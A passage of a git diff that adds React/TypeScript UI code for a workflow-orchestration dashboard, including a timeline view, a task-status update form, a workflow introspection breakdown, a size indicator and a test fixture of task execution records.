currentTime) : currentTime; + const lastDate: Date = + items.length > 0 ? (_last(items)?.end ?? currentTime) : currentTime; + // the last item isn't necessary the latest to finish + let lastEnd: Date = lastDate; + items.forEach((i) => { + if (i.end.getTime() > lastEnd.getTime()) { + lastEnd = i.end; + } + }); + + const diffMilli = lastEnd.getTime() - minDate.getTime(); + // Less than 100ms has odd behaviour with the Timeline component and needs more buffer + const endBuffer = diffMilli * (diffMilli < 100 ? 0.06 : 0.01); + const maxDate = new Date(lastEnd.getTime() + endBuffer); + + const onFit = () => { + timelineRef.current?.timeline.fit(); + setRangeSliderValue([minDate.getTime(), maxDate.getTime()]); + }; + + const [rangeSliderValue, setRangeSliderValue] = useState([ + minDate.getTime(), + maxDate.getTime(), + ]); + + const debouncedSetRangeSliderValue = useRef( + _debounce((e: { start: Date; end: Date; byUser: boolean }) => { + if (e.byUser) { + setRangeSliderValue([e.start.getTime(), e.end.getTime()]); + } + }, 100), + ); + + if (timelineRef.current?.timeline) { + timelineRef.current.timeline.off( + "rangechanged", + debouncedSetRangeSliderValue.current, + ); + timelineRef.current.timeline.on( + "rangechanged", + debouncedSetRangeSliderValue.current, + ); + } + + useEffect(() => { + if (!timelineRef.current?.timeline) return; + timelineRef.current.timeline.setItems(items); + timelineRef.current.timeline.setGroups(groups); + }, [groups, items]); + + return ( + + + {maxDate > minDate && ( + + + + + + )} + + + + theme.palette?.mode === "dark" ? colors.gray14 : undefined, + }, + }} + > + + + + + + + + + Task Queue Time + + + + + + Task Execution Duration + + + + + + + + + + Conductor Latency (Gap) + + + + + + {maxDate > minDate && ( + + Adjust visible range + "Temperature range"} + value={rangeSliderValue} + min={minDate.getTime()} + max={maxDate.getTime()} + onChange={handleChange} + valueLabelDisplay="auto" + valueLabelFormat={valuetext} + /> + + )} + + ); +} diff --git a/ui-next/src/pages/execution/UpdateTaskStatusForm.tsx b/ui-next/src/pages/execution/UpdateTaskStatusForm.tsx new file mode 100644 index 0000000..4cdf5c7 --- /dev/null +++ b/ui-next/src/pages/execution/UpdateTaskStatusForm.tsx @@ -0,0 +1,207 @@ +import { Box, Grid } from "@mui/material"; +import MenuItem from "@mui/material/MenuItem"; +import { Button, Text } from "components"; +import { ConductorSelect } from "components/ui/inputs"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import debounce from "lodash/debounce"; +import _isEmpty from "lodash/isEmpty"; +import sharedStyles from "pages/styles"; +import { ChangeEvent, FunctionComponent, useState } from "react"; + +const style = { + ...sharedStyles, + paper: { + margin: "20px", + padding: "20px", + }, + name: { + width: "50%", + }, + submitButton: { + float: "right", + }, + fields: { + display: "flex", + flexDirection: "column", + gap: "15px", + }, + controls: { + marginLeft: "15px", + marginTop: "20px", + height: "calc(100% - 83px)", + overflowY: "scroll", + width: "calc(100% - 15px)", + overflowX: "hidden", + paddingBottom: "60px", + }, + monaco: { + padding: "10px", + borderColor: "rgba(128, 128, 128, 0.2)", + borderStyle: "solid", + borderWidth: "1px", + borderRadius: "4px", + backgroundColor: "rgb(255, 255, 255)", + "&:focus-within": { + margin: "-2px", + borderColor: "rgb(73, 105, 228)", + borderStyle: "solid", + borderWidth: "2px", + }, + }, + labelText: { + position: "relative", + fontSize: "13px", + transform: "none", + fontWeight: 600, + paddingLeft: 0, + paddingBottom: "8px", + }, + inputBox: { + marginTop: "10px", + "& textarea": { + minWidth: "368px", + fontFamily: "monospace", + }, + "& input": { + minWidth: "368px", + }, + "& label": {}, + }, + roBox: { + marginTop: "10px", + "& .MuiOutlinedInput-root": { + background: "transparent", + border: "none", + }, + "& fieldset": { + border: "none", + }, + "& textarea": { + minWidth: "450px", + minHeight: "140px", + fontFamily: "monospace", + overflow: "none", + }, + "& input": { + minWidth: "368px", + }, + "& label": {}, + }, + cronApply: { + marginTop: "-12px", + "& svg": { + fontSize: "18px", + }, + }, + toggleButton: { + marginTop: "-12px", + "& svg": { + fontSize: "22px", + }, + }, + cronSample: { + fontSize: "12px", + height: "50px", + }, +}; + +const possibleTaskStatus = [ + "COMPLETED", + "FAILED", + "FAILED_WITH_TERMINAL_ERROR", +]; + +const taskMenuItems = possibleTaskStatus.map((n) => ( + + {n} + +)); + +interface UpdateTaskStatusFormProps { + onConfirm: (status: string, body: string) => void; +} + +export const UpdateTaskStatusForm: FunctionComponent< + UpdateTaskStatusFormProps +> = ({ onConfirm }) => { + const [selected, setSelected] = useState(""); + const [params, setParams] = useState("{}"); + const [isValidJson, setIsValidaJson] = useState(true); + + const parsedValue = debounce((params: string) => { + try { + const parsedValue = JSON.parse(params); + if (Array.isArray(parsedValue)) { + setIsValidaJson(false); + } else { + setIsValidaJson(true); + } + } catch { + setIsValidaJson(false); + } + }, 500); + + const handleSelectChange = ( + event: ChangeEvent, + ) => { + setSelected(event.target.value as string); + }; + + const handleInputChange = (val: string) => { + parsedValue(val); + setParams(val); + }; + + return ( + + + + + Update task + + + + + + Select Status + + {taskMenuItems} + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/execution/WorkflowIntrospection.tsx b/ui-next/src/pages/execution/WorkflowIntrospection.tsx new file mode 100644 index 0000000..65b513d --- /dev/null +++ b/ui-next/src/pages/execution/WorkflowIntrospection.tsx @@ -0,0 +1,907 @@ +import React, { FunctionComponent, JSX, useContext, useState } from "react"; +import { Box, Stack, Tooltip } from "@mui/material"; +import { + DetailedTime, + ExecutionTask, + WorkflowExecution, + WorkflowIntrospectionRecord, +} from "types/Execution"; +import { ColorModeContext } from "theme/material/ColorModeContext"; +import { LegacyColumn } from "components/ui/DataTable/types"; +import { colors } from "theme/tokens/variables"; +import { DataTable } from "components/index"; +import Dropdown from "components/ui/inputs/Dropdown"; +import { clickHandler, taskIdRenderer } from "pages/execution/componentHelpers"; +import { StackTraceComponent } from "components/ui/StackTrace"; + +interface WorkflowIntrospectionProps { + selectTask: (taskSel: { ref?: string; taskId?: string }) => void; + workflow: WorkflowExecution; +} + +function formatDetailedTime(time: DetailedTime) { + if (!time) return ""; + + const parts = []; + + const micros = Math.floor(time.nanos / 1_000); + const millis = Math.floor(micros / 1_000); + + if (Math.floor(time.seconds) > 0) { + parts.push(`${Math.floor(time.seconds)} seconds`); + } + + if (millis > 0) { + parts.push(`${millis}ms`); + } + + if (micros > 0) { + parts.push(`${micros % 1_000}μs`); + } + + return parts.join(" "); +} + +function compareDetailedTime( + a: DetailedTime, + b: DetailedTime, + ascending: boolean = true, +): number { + if (a.seconds !== b.seconds) { + return ascending ? a.seconds - b.seconds : b.seconds - a.seconds; + } else { + return ascending ? a.nanos - b.nanos : b.nanos - a.nanos; + } +} + +function nanos(time: DetailedTime) { + return time.seconds * 1e9 + time.nanos; +} + +function getColor( + colorMap: Map, + records: Map, + record: WorkflowIntrospectionRecord, +) { + const colorKey = `${record.id}-${record.threadName}`; + + if (colorMap.has(colorKey)) { + return colorMap.get(colorKey) || 123; + } else if (record.parentRecordId && records.has(record.parentRecordId)) { + return getColor( + colorMap, + records, + records.get(record.parentRecordId)!.record, + ); + } else { + return 123; + } +} + +class Tree { + roots: TreeNode[] = []; + records: Map = new Map(); + + add(root: TreeNode) { + this.roots.push(root); + this.records.set(root.record.id, root); + } +} + +function duration(nodes: TreeNode[]) { + let duration = 0; + + for (const node of nodes) { + duration = Math.max(duration, nanos(node.record.duration)); + } + + return duration; +} + +class TreeNode { + parent: TreeNode | null = null; + record: WorkflowIntrospectionRecord; + children: TreeNode[] = []; + overlapArr: TreeNode[]; + overlapSet = new Set(); + threadArray: string[] = []; + threadMap = new Map(); + + constructor(record: WorkflowIntrospectionRecord) { + this.record = record; + this.overlapArr = [this]; + this.overlapSet.add(this); + } + + sort() { + this.threadArray.sort((a, b) => { + const aNode = this.threadMap.get(a); + const bNode = this.threadMap.get(b); + + if (aNode && bNode) { + return compareDetailedTime( + aNode.record.duration, + bNode.record.duration, + false, + ); + } else if (aNode) { + return -1; + } else if (bNode) { + return 1; + } else { + return 0; + } + }); + } + + add(child: TreeNode) { + child.parent = this; + this.children.push(child); + + if (!this.threadMap.has(child.record.threadName)) { + this.threadMap.set(child.record.threadName, child); + this.threadArray.push(child.record.threadName); + } + + this.sort(); + } + + addOverlap(node: TreeNode) { + if (!this.overlapSet.has(node)) { + this.overlapArr.push(node); + this.overlapArr.sort((a, b) => + compareDetailedTime(a.record.duration, b.record.duration, false), + ); + } + + if (!node.overlapSet.has(this)) { + node.overlapArr.push(node); + node.overlapArr.sort((a, b) => + compareDetailedTime(a.record.duration, b.record.duration, false), + ); + } + } + + hasLeaf() { + if (this.record.attributes && this.record.attributes["isLeaf"] === true) { + return true; + } + + for (const thread of this.threadMap.values()) { + if (thread.hasLeaf()) { + return true; + } + } + + return false; + } + + size() { + let size = 1; + + for (const thread of this.threadMap.values()) { + size += thread.size(); + } + + return size; + } + + depth() { + const threadRecord = Object.groupBy( + this.overlapArr, + (node) => node.record.threadName, + ); + const threads: TreeNode[][] = []; + + for (const thread of Object.values(threadRecord)) { + if (thread) { + threads.push(thread); + } + } + + threads.sort((a, b) => duration(b) - duration(a)); + + const nodes: TreeNode[] = []; + + for (const thread of threads) { + nodes.push(...thread); + } + + return nodes.indexOf(this); + } +} + +export const WorkflowIntrospection: FunctionComponent< + WorkflowIntrospectionProps +> = ({ workflow, selectTask }) => { + const { mode } = useContext(ColorModeContext); + + let minTime = Number.POSITIVE_INFINITY; + let maxTime = Number.NEGATIVE_INFINITY; + + const tree = new Tree(); + + let leafDuration = 0; + const leafRanges: { start: number; end: number; node: TreeNode }[] = []; + const nodeRanges: { start: number; end: number; node: TreeNode }[] = []; + + for (const record of workflow.workflowIntrospection || []) { + const node = new TreeNode(record); + + tree.records.set(record.id, node); + nodeRanges.push({ + start: nanos(record.start), + end: nanos(record.start) + nanos(record.duration), + node: node, + }); + + if (record.attributes && record.attributes["isLeaf"] === true) { + leafRanges.push({ + start: nanos(record.start), + end: nanos(record.start) + nanos(record.duration), + node: node, + }); + } + + minTime = Math.min(minTime, nanos(record.start)); + maxTime = Math.max(maxTime, nanos(record.start) + nanos(record.duration)); + } + + // Shift all times to start at 0 + for (const leaf of leafRanges) { + leaf.start -= minTime; + leaf.end -= minTime; + } + + for (const range of nodeRanges) { + for (const other of nodeRanges) { + if (range === other) continue; + + if (range.start >= other.start && range.end <= other.end) { + // Leaf time is fully contained within another leaf time executing in parallel + range.node.addOverlap(other.node); + } else if (range.start < other.start && range.end >= other.start) { + // [------------------] <- leaf + // [------------------] <- other + // [-----] <- leaf (duration adjusted for overlap) + range.node.addOverlap(other.node); + } else if ( + range.start > other.start && + range.end >= other.end && + range.start < other.end + ) { + // [------------------] <- leaf + // [------------------] <- other + // [-----] <- leaf (duration adjusted for overlap) + range.node.addOverlap(other.node); + } else { + // Leaves are fully disjointed + } + } + } + + for (const leaf of leafRanges) { + for (const other of leafRanges) { + if (leaf === other || leaf.end === 0 || other.end === 0) continue; + + if (leaf.start >= other.start && leaf.end <= other.end) { + // Leaf time is fully contained within another leaf time executing in parallel + leaf.start = leaf.end = 0; + break; + } else if (leaf.start < other.start && leaf.end >= other.start) { + // [------------------] <- leaf + // [------------------] <- other + // [-----] <- leaf (duration adjusted for overlap) + other.start = leaf.start; + leaf.start = leaf.end = 0; + break; + } else if ( + leaf.start > other.start && + leaf.end >= other.end && + leaf.start < other.end + ) { + // [------------------] <- leaf + // [------------------] <- other + // [-----] <- leaf (duration adjusted for overlap) + other.end = leaf.end; + leaf.start = leaf.end = 0; + } else { + // Leaves are fully disjointed + } + } + } + + for (const leaf of leafRanges) { + leafDuration += Math.max(0, leaf.end - leaf.start); + } + + for (const record of workflow.workflowIntrospection || []) { + const node = tree.records.get(record.id)!; + + if (record.parentRecordId) { + const parent = tree.records.get(record.parentRecordId); + + if (parent) { + parent.add(node); + } else { + console.error( + `Parent record ${record.parentRecordId} not found for record ${record.id}`, + ); + } + } else { + tree.add(node); + } + } + const highlight = { + backgroundColor: "rgba(0, 0, 0, 0.1)", + }; + + const roots: JSX.Element[] = []; + + const [selected, setHovered] = React.useState(null); + const [hideShortOperations, setHideShortOperations] = useState( + "Hide Short Operations", + ); + + const totalDuration = maxTime - minTime; + const threadNames = new Map; arr: string[] }>(); + + let maxDepth = 0; + + for (const record of workflow.workflowIntrospection || []) { + const parent = tree.records.get(record.parentRecordId || ""); + + if (parent) { + if (!threadNames.has(parent.record.id)) { + threadNames.set(parent.record.id, { set: new Set(), arr: [] }); + } + + const entry = threadNames.get(parent.record.id)!; + + if (!entry.set.has(record.threadName)) { + entry.set.add(record.threadName); + entry.arr.push(record.threadName); + } + } + } + + const colorsMap = new Map(); + let colorCount = 0; + + for (const record of workflow.workflowIntrospection || []) { + if (record.parentRecordId) { + const parentThreads = threadNames.get(record.parentRecordId); + + if (parentThreads && parentThreads.set.size > 1) { + ++colorCount; + + colorsMap.set( + `${record.id}-${record.threadName}`, + 123 + colorCount++ * 13, + ); + } + } + } + + const rows = []; + const threads = new Map< + string, + { threadElements: JSX.Element[]; children: Map } + >(); + + for (const record of workflow.workflowIntrospection || []) { + const duration = nanos(record.duration); + const parent = tree.records.get(record.parentRecordId || "") || null; + const widthPercentage = (duration / totalDuration) * 100; + const node = tree.records.get(record.id)!; + + if ( + hideShortOperations === "Hide Short Operations" && + widthPercentage < 2 && + !node.hasLeaf() + ) { + continue; + } + + rows.push(record); + + const width = `${widthPercentage}%`; + + if (parent && !threads.has(parent.record.id)) { + threads.set(parent.record.id, { + threadElements: [], + children: new Map(), + }); + } + + if (!threads.has(record.id)) { + threads.set(record.id, { + threadElements: [], + children: new Map(), + }); + } + + const hover = (event: React.MouseEvent) => { + event.stopPropagation(); + + setHovered(record.id); + }; + + const hue = getColor(colorsMap, tree.records, record); + const backgroundColor = + selected === record.id + ? `hsl(${hue},14%,54%)` + : `hsl(${hue + 7},47%,74%)`; + const leftPercentage = (nanos(record.start) - minTime) / totalDuration; + + const depth = node.depth() || 0; + + maxDepth = Math.max(maxDepth, depth); + + const border = "1px solid rgba(0, 0, 0, 0.12"; + + const headerStyle = { + fontWeight: "bold", + margin: 0, + backgroundColor: mode === "dark" ? colors.gray04 : colors.gray14, + borderRight: border, + padding: "5px 10px 5px 10px", + whiteSpace: "nowrap", + }; + + const itemStyle = { + whiteSpace: "nowrap", + margin: 0, + padding: "5px 10px 5px 5px", + }; + + const hasDescription = + record.description && record.description.trim().length > 0; + + const borderRadius = "5px"; + + const attributes: JSX.Element[] = []; + + if (record.attributes) { + for (const [key, value] of Object.entries(record.attributes)) { + let headerText = key.replace(/([A-Z_])/g, " $1"); + + headerText = headerText.charAt(0).toUpperCase() + headerText.slice(1); + + attributes.push( + <> +

      {headerText}:

      +

      {String(value)}

      + , + ); + } + } + + const tooltip = ( +
      +

      + Name:{" "} +

      +

      {record.name}

      +

      ID:

      +

      {record.id}

      +

      Thread:

      +

      {record.threadName}

      + {attributes} +

      + Duration:{" "} +

      +

      {formatDetailedTime(record.duration)}

      +

      + {record.description} +

      +
      + ); + + const scroll = (event: React.MouseEvent) => { + event.stopPropagation(); + + document + .getElementById(`row-${record.id}`) + ?.scrollIntoView({ behavior: "smooth", block: "center" }); + }; + + const element = ( + +
      +

      + {record.name} +

      +

      + {formatDetailedTime(record.duration)} +

      +
      +       + ); + + roots.push(element); + } + + const detailedFullDuration = { + seconds: Math.floor((maxTime - minTime) / 1e9), + nanos: (maxTime - minTime) % 1e9, + }; + + const detailedLeafDuration = { + seconds: Math.floor(leafDuration / 1e9), + nanos: leafDuration % 1e9, + }; + + const detailedOverheadDuration = { + seconds: Math.floor((maxTime - minTime - leafDuration) / 1e9), + nanos: Math.floor((maxTime - minTime - leafDuration) % 1e9), + }; + + const defaultStyle = { + transition: "0.1s ease", + padding: "7.5px", + }; + + const workflowIntrospectionFields: LegacyColumn[] = [ + { + id: "name", + name: "name", + label: "Name", + minWidth: "300px", + width: "300px", + maxWidth: "300px", + style: { + fontSize: "13px", + whiteSpace: "nowrap", + wordBreak: "keep-all", + flex: 1, + ...defaultStyle, + }, + tooltip: "The name of the operation Conductor is performing", + conditionalCellStyles: [], + }, + { + id: "id", + name: "id", + label: "ID", + maxWidth: "300px", + minWidth: "300px", + tooltip: "The unique identifier of the operation", + style: defaultStyle, + center: true, + conditionalCellStyles: [], + }, + { + id: "duration", + name: "duration", + label: "Duration", + width: "200px", + tooltip: "The duration of the operation", + renderer: formatDetailedTime, + sortFunction: ( + a: WorkflowIntrospectionRecord, + b: WorkflowIntrospectionRecord, + ) => compareDetailedTime(a.duration, b.duration), + style: { whiteSpace: "nowrap", ...defaultStyle }, + right: true, + conditionalCellStyles: [], + }, + { + id: "overhead", + name: "overhead", + label: "Overhead", + width: "200px", + tooltip: "The overhead time of the operation (excludes child durations)", + renderer: formatDetailedTime, + sortFunction: ( + a: WorkflowIntrospectionRecord, + b: WorkflowIntrospectionRecord, + ) => compareDetailedTime(a.overhead, b.overhead), + style: { whiteSpace: "nowrap", ...defaultStyle }, + right: true, + conditionalCellStyles: [], + }, + { + id: "threadName", + name: "threadName", + label: "Thread", + width: "200px", + tooltip: "A name for the logical thread that this operation was part of", + style: defaultStyle, + conditionalCellStyles: [], + }, + { + id: "parentRecordId", + name: "parentRecordId", + label: "Parent", + minWidth: "300px", + tooltip: "The parent of this operation", + style: defaultStyle, + center: true, + conditionalCellStyles: [], + }, + { + id: "taskId", + name: "taskId", + label: "Task ID", + tooltip: "The unique identifier of the task, if applicable", + renderer: (taskId: string, row: ExecutionTask) => { + if (!taskId || taskId.trim().length === 0) { + return ""; + } + + const renderer = taskIdRenderer( + clickHandler((task) => { + selectTask({ taskId: task.taskId }); + }), + ); + + return renderer.apply(renderer, [taskId, row]); + }, + center: true, + conditionalCellStyles: [], + }, + { + id: "stacktrace", + name: "stacktrace", + label: "Stack Trace", + tooltip: "The specific line of code that initiated this operation", + conditionalCellStyles: [], + format: (row: WorkflowIntrospectionRecord) => ( + + ), + }, + { + id: "description", + name: "description", + label: "Description", + maxWidth: "400px", + tooltip: "Additional information about the operation", + style: { flex: 1, ...defaultStyle }, + conditionalCellStyles: [], + format: (row: WorkflowIntrospectionRecord) => + row.description?.split("\n").map((line, _index) => ( +

      + {line} +

      + )), + }, + ]; + + const chartHeight = (maxDepth + 1) * 30; + + return ( + + +

      + Summary +

      +
      +

      Workflow Duration:

      +

      + {formatDetailedTime(detailedFullDuration)} +

      +

      + User Operation Duration: +

      +

      + {formatDetailedTime(detailedLeafDuration)} +

      +

      Conductor Overhead:

      +

      + {formatDetailedTime(detailedOverheadDuration)} +

      +
      +       + +
      +       + + setHovered(row.id)} + customActions={[ + { + if (typeof val === "string") { + setHideShortOperations(val); + } else { + console.warn("Expected string value from dropdown"); + } + }} + style={{ width: "225px" }} + />, + ]} + customStyles={{ + responsiveWrapper: { + style: { + maxHeight: "100%", + }, + }, + rows: { + highlightOnHoverStyle: highlight, + style: (row: WorkflowIntrospectionRecord) => ({ + backgroundColor: + selected === row.id ? highlight.backgroundColor : "inherit", + }), + }, + }} + columns={ + workflowIntrospectionFields.map((col) => ({ + ...col, + conditionalCellStyles: [ + { + when: (row: WorkflowIntrospectionRecord) => + selected === row.id, + style: { + backgroundColor: highlight.backgroundColor, + }, + }, + ], + })) as LegacyColumn[] + } + defaultShowColumns={["name", "overhead", "description", "threadName"]} + localStorageKey="workflowIntrospectionTable" + sortByDefault={false} + /> + +       + ); +}; diff --git a/ui-next/src/pages/execution/WorkflowSizeIndicator.tsx b/ui-next/src/pages/execution/WorkflowSizeIndicator.tsx new file mode 100644 index 0000000..cd98f2f --- /dev/null +++ b/ui-next/src/pages/execution/WorkflowSizeIndicator.tsx @@ -0,0 +1,76 @@ +import WarningAmberIcon from "@mui/icons-material/WarningAmber"; +import { Box, LinearProgress, Tooltip } from "@mui/material"; + +export interface WorkflowSizeResponse { + sizeBytes: number; + limitBytes: number; + ratio: number; +} + +const SIZE_WARNING_THRESHOLD = 0.8; + +function formatBytes(bytes: number): string { + if (bytes < 1024) return `${bytes} B`; + if (bytes < 1024 * 1024) return `${(bytes / 1024).toFixed(1)} KB`; + return `${(bytes / (1024 * 1024)).toFixed(2)} MB`; +} + +export function WorkflowSizeIndicator({ + sizeData, +}: { + sizeData: WorkflowSizeResponse; +}) { + const { sizeBytes, limitBytes, ratio } = sizeData; + const isNearLimit = ratio > SIZE_WARNING_THRESHOLD; + const hasLimit = limitBytes > 0; + const pct = Math.min(ratio * 100, 100); + + return ( + + + + {formatBytes(sizeBytes)} + + {hasLimit && ( + + / {formatBytes(limitBytes)} limit ({pct.toFixed(0)}% used) + + )} + {isNearLimit && ( + + + + )} + + {hasLimit && ( + + )} + + ); +} diff --git a/ui-next/src/pages/execution/componentHelpers.tsx b/ui-next/src/pages/execution/componentHelpers.tsx new file mode 100644 index 0000000..bd0b3dc --- /dev/null +++ b/ui-next/src/pages/execution/componentHelpers.tsx @@ -0,0 +1,37 @@ +import { ExecutionTask } from "types/Execution"; +import ClipboardCopy from "components/ui/ClipboardCopy"; +import { Link } from "@mui/material"; +import _isEmpty from "lodash/isEmpty"; + +export function taskIdRenderer(handleClick: (row: ExecutionTask) => void) { + return (taskId: string, row: ExecutionTask) => { + let defTaskDisplay = taskId; + if (taskId) { + defTaskDisplay = `${taskId.substring(0, 4)}..${taskId.substring( + taskId.length - 4, + )}`; + } + return ( + + { + handleClick(row); + }} + > + {defTaskDisplay} + + + ); + }; +} + +export function clickHandler( + handleSelectedTask: ((task: ExecutionTask) => void) | undefined, +) { + return function handleClick(row: ExecutionTask) { + if (!_isEmpty(row)) { + handleSelectedTask?.(row); + } + }; +} diff --git a/ui-next/src/pages/execution/helpers.test.ts b/ui-next/src/pages/execution/helpers.test.ts new file mode 100644 index 0000000..e8a2be8 --- /dev/null +++ b/ui-next/src/pages/execution/helpers.test.ts @@ -0,0 +1,666 @@ +import { taskWithLatestIteration } from "./helpers"; + +const TASK_LIST_WITH_ITERATION = [ + { + taskType: "SET_VARIABLE", + status: "COMPLETED", + referenceTaskName: "set_variable_ref_1", + retryCount: 0, + seq: 1, + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "c112dd74-cf7b-11ee-8b2d-3e09f721958e", + workflowTask: { + name: "set_variable_1", + taskReferenceName: "set_variable_ref_1", + }, + iteration: 0, + }, + { + taskType: "DO_WHILE", + status: "COMPLETED", + referenceTaskName: "do_while_ref", + retryCount: 0, + seq: 2, + taskDefName: "do_while", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "c115eab5-cf7b-11ee-8b2d-3e09f721958e", + callbackAfterSeconds: 0, + workflowTask: { + name: "do_while", + taskReferenceName: "do_while_ref", + type: "DO_WHILE", + }, + iteration: 3, + }, + { + taskType: "SUB_WORKFLOW", + status: "COMPLETED", + + referenceTaskName: "sub_workflow_packet_ref__1", + retryCount: 0, + seq: 3, + pollCount: 0, + taskDefName: "sub_workflow", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "c116d516-cf7b-11ee-8b2d-3e09f721958e", + workflowTask: { + name: "sub_workflow", + taskReferenceName: "sub_workflow_packet_ref", + + type: "SUB_WORKFLOW", + }, + iteration: 1, + subWorkflowId: "c1221fb7-cf7b-11ee-8b2d-3e09f721958e", + }, + { + taskType: "INLINE", + status: "COMPLETED", + referenceTaskName: "need_reprocess_ref__1", + retryCount: 0, + seq: 4, + taskDefName: "need_reprocess", + workflowTask: { + name: "need_reprocess", + taskReferenceName: "need_reprocess_ref", + type: "INLINE", + }, + iteration: 1, + }, + { + taskType: "SET_VARIABLE", + status: "COMPLETED", + referenceTaskName: "set_variable_ref__1", + retryCount: 0, + seq: 5, + taskDefName: "set_variable", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "742462cd-cf7c-11ee-aca0-2ee6bb644b90", + workflowTask: { + name: "set_variable", + taskReferenceName: "set_variable_ref", + type: "SET_VARIABLE", + }, + iteration: 1, + }, + { + taskType: "SUB_WORKFLOW", + status: "COMPLETED", + referenceTaskName: "sub_workflow_packet_ref__2", + retryCount: 0, + seq: 6, + taskDefName: "sub_workflow", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "7430e5ee-cf7c-11ee-aca0-2ee6bb644b90", + workflowTask: { + name: "sub_workflow", + taskReferenceName: "sub_workflow_packet_ref", + type: "SUB_WORKFLOW", + }, + iteration: 2, + subWorkflowId: "74337dff-cf7c-11ee-aca0-2ee6bb644b90", + }, + { + taskType: "INLINE", + status: "COMPLETED", + referenceTaskName: "need_reprocess_ref__2", + retryCount: 0, + seq: 7, + taskDefName: "need_reprocess", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "d80ae15b-cf7c-11ee-aca0-2ee6bb644b90", + workflowTask: { + name: "need_reprocess", + taskReferenceName: "need_reprocess_ref", + type: "INLINE", + }, + iteration: 2, + }, + { + taskType: "SET_VARIABLE", + status: "COMPLETED", + referenceTaskName: "set_variable_ref__2", + retryCount: 0, + seq: 8, + taskDefName: "set_variable", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "d810fbdc-cf7c-11ee-aca0-2ee6bb644b90", + callbackAfterSeconds: 0, + outputData: {}, + workflowTask: { + name: "set_variable", + taskReferenceName: "set_variable_ref", + type: "SET_VARIABLE", + }, + iteration: 2, + }, + { + taskType: "SUB_WORKFLOW", + status: "COMPLETED", + referenceTaskName: "sub_workflow_packet_ref__3", + retryCount: 0, + seq: 9, + taskDefName: "sub_workflow", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "d819fc8d-cf7c-11ee-aca0-2ee6bb644b90", + workflowTask: { + name: "sub_workflow", + taskReferenceName: "sub_workflow_packet_ref", + type: "SUB_WORKFLOW", + }, + iteration: 3, + }, + { + taskType: "INLINE", + status: "COMPLETED", + referenceTaskName: "need_reprocess_ref__3", + retryCount: 0, + seq: 10, + taskDefName: "need_reprocess", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "f4b4d514-cf7c-11ee-aca0-2ee6bb644b90", + callbackAfterSeconds: 0, + workflowTask: { + name: "need_reprocess", + taskReferenceName: "need_reprocess_ref", + type: "INLINE", + }, + iteration: 3, + }, + { + taskType: "SET_VARIABLE", + status: "COMPLETED", + referenceTaskName: "set_variable_ref__3", + retryCount: 0, + seq: 11, + taskDefName: "set_variable", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "f4b968f5-cf7c-11ee-aca0-2ee6bb644b90", + workflowTask: { + name: "set_variable", + taskReferenceName: "set_variable_ref", + type: "SET_VARIABLE", + }, + iteration: 3, + }, +]; + +const TASK_LIST_WITH_ITERATION_EXPECTED_RESULT = { + taskType: "SUB_WORKFLOW", + status: "COMPLETED", + referenceTaskName: "sub_workflow_packet_ref__3", + retryCount: 0, + seq: 9, + taskDefName: "sub_workflow", + workflowInstanceId: "c110ba93-cf7b-11ee-8b2d-3e09f721958e", + workflowType: "packet_runner", + taskId: "d819fc8d-cf7c-11ee-aca0-2ee6bb644b90", + workflowTask: { + name: "sub_workflow", + taskReferenceName: "sub_workflow_packet_ref", + type: "SUB_WORKFLOW", + }, + iteration: 3, +}; + +const TASK_LIST_WITH_RETRY = [ + { + taskType: "HTTP", + status: "FAILED", + referenceTaskName: "get_random_fact", + retryCount: 0, + seq: 1, + taskDefName: "get_random_fact", + workflowInstanceId: "cdca4c49-0a81-11ee-b464-f6926e7ad88b", + workflowType: "check_najeeb", + taskId: "cdcac17a-0a81-11ee-b464-f6926e7ad88b", + reasonForIncompletion: + "Failed to invoke HTTP task due to: java.net.UnknownHostException: sascsa: Name does not resolve", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-6985bdbc5-hlltg", + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + type: "HTTP", + }, + iteration: 0, + }, + { + taskType: "HTTP", + status: "FAILED", + referenceTaskName: "get_random_fact", + retryCount: 1, + seq: 2, + taskDefName: "get_random_fact", + retriedTaskId: "cdcac17a-0a81-11ee-b464-f6926e7ad88b", + workflowInstanceId: "cdca4c49-0a81-11ee-b464-f6926e7ad88b", + workflowType: "check_najeeb", + taskId: "522b4b45-cfab-11ee-b3bf-0e83e96d9c97", + reasonForIncompletion: + "Failed to invoke HTTP task due to: java.net.UnknownHostException: sascsa: Name does not resolve", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + type: "HTTP", + }, + iteration: 0, + }, + { + taskType: "HTTP", + status: "FAILED", + referenceTaskName: "get_random_fact", + retryCount: 2, + seq: 3, + taskDefName: "get_random_fact", + workflowInstanceId: "cdca4c49-0a81-11ee-b464-f6926e7ad88b", + workflowType: "check_najeeb", + taskId: "56333ef6-cfab-11ee-b3bf-0e83e96d9c97", + reasonForIncompletion: + "Failed to invoke HTTP task due to: java.net.UnknownHostException: sascsa", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-7d78545974-kk5md", + workflowTask: { + name: "get_random_fact", + taskReferenceName: "get_random_fact", + type: "HTTP", + }, + iteration: 0, + }, + { + taskType: "HTTP", + status: "FAILED", + referenceTaskName: "get_random_fact", + retryCount: 3, + seq: 4, + taskDefName: "get_random_fact", + workflowInstanceId: 